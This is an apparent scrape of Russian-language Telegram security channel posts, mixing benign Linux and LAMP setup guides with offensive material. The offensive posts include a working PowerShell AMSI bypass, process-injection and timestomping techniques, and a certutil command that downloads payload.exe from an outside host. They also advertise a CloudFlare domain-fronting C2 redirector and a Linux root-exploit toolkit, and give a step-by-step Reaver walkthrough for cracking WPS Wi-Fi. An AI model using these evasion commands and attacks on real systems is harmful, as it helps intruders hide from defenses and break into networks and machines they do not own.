All Security Engineering Courses

Cloudflare-Redirector Domain fronting через CloudFlare с поддержкой разных #C2, нескольких доменов и вебсокета. #evasion #работягам Telegram ✉️ @freedomfox

Defense Evasion: как атакующий прячется от EDR и антивируса 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе. ⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт. ⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти: $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true) После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше. ⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный: $proc = Get-Process -Name "explorer" # Дальше через WriteProcessMemory и CreateRemoteThread # внедряем shellcode в легитимный процесс Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса. ⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных: # Linux touch -r /bin/ls malicious_file stat malicious_file # Windows через PowerShell (Get-Item file.exe).CreationTime = "01/15/2020 10:00:00" Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью. ⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен: # Скачивание файла через certutil вместо curl certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe # Выполнение через rundll32 rundll32.exe j… Читать полностью →

Linux LPE Toolkit Multi-architecture privilege escalation toolkit with 24 exploits (amd64 pre-built; other architectures compiled via gcc at runtime). Supports amd64, arm64, 386, mips, mipsle, mips64, and mips64le. Detects kernel version, filters patched exploits, and tries each in order until root is obtained.

🐧 Как поднять свой первый веб-сервер: установка LAMP на Ubuntu 26.04 (пошагово) Хотите запустить сайт или веб-приложение? Связка LAMP (Linux, Apache, MySQL, PHP) — это классика, которая работает везде. Вот пошаговая инструкция для Ubuntu 26.04. Шаг 1. Обновите список пакетов sudo apt update Шаг 2. Установите Apache sudo apt install apache2 -y Шаг 3. Включите автозапуск и запустите Apache sudo systemctl enable apache2 sudo systemctl start apache2 Шаг 4. Проверьте статус sudo systemctl status apache2 Должно быть active (running) Шаг 5. Установите MySQL sudo apt install mysql-server -y Шаг 6. Включите и запустите MySQL sudo systemctl enable mysql sudo systemctl start mysql Шаг 7. Защитите MySQL sudo mysql_secure_installation — пройдите по шагам: установите пароль root, удалите анонимных пользователей, запретите удалённый доступ root. Шаг 8. Установите PHP sudo apt install php libapache2-mod-php php-mysql -y Шаг 9. Проверьте PHP Создайте тестовый файл: echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php Откройте в браузере http://ваш_ip/info.php — увидите информацию о PHP. 📌 Совет: после проверки удалите info.php или ограничьте к нему доступ — в целях безопасности. 👩‍💻 CodeGuard: Linux | Чат

🐧 Шпаргалка: 10 команд Linux, которые должен знать каждый системный администратор Навигация, управление пользователями и сетью — база, без которой никуда. Сохраняйте. 1. Перемещение по файловой системе: cd /home # перейти в каталог ls -la # список файлов (включая скрытые) pwd # текущая папка 2. Управление пользователями: sudo adduser john # создать пользователя sudo userdel john # удалить пользователя passwd # сменить пароль 3. Права доступа: chmod 755 file # rwxr-xr-x chown user:group file # сменить владельца 4. Процессы: ps aux | grep nginx # найти процесс kill -9 1234 # убить процесс htop # мониторинг в реальном времени 5. Сеть: ping -c 4 8.8.8.8 # проверить связь ss -tulpn # все открытые порты curl -I example.com # посмотреть заголовки 6. Диски и память: df -h # свободное место на дисках du -sh /var/log # размер папки free -h # свободная RAM 7. Логи: tail -f /var/log/syslog # смотреть логи в реальном времени journalctl -f -u ssh # логи службы SSH 8. Архивация: tar -czvf backup.tar.gz /home # создать архив tar -xzvf backup.tar.gz # распаковать 9. Поиск: find / -name "*.conf" -mtime -7 # найти файлы за последние 7 дней grep -r "error" /var/log/ # поиск по логам 10. Перезагрузка и выключение: sudo reboot # перезагрузка sudo shutdown -h now # выключение Сохраняйте — пригодится каждый день. 😈 CodeGuard: PySec Edition | Чат

⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers

😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!) Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов. 🔍 Мой опыт: тестировал свою сеть и соседскую (с разрешения, конечно, а ты что подумал какую соседскую.. 😉) ⚪️ Шаг 1: Готовим интерфейс sudo airmon-ng start wlan0 # mon0 готов к охоте sudo airmon-ng check kill # убиваем мешающие процессы ⚪️Шаг 2: Ищем жертву с WPS sudo wash -i wlan0mon --ignore-locked Ищем сети с WPS Locked: No — вот они, наши цели! ⚪️ Шаг 3: Лобовая атака Reaver sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1 - -vv — спамит логами, чтобы видеть прогресс - -c 6 — фиксируем канал (из wash) - -K 1 — stealth mode против блокировок 🔥 Мои настройки для стабильности: --no-timeout # не сбрасывать при глюках --dh-small # быстрее, но чуть менее надежно --force-ns-noresp # игнорируем неответы ⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат

Mosse Institute – MRT – Certified Red Teamer 2026 Pass : @Offensiv3Sec

Kubernetes components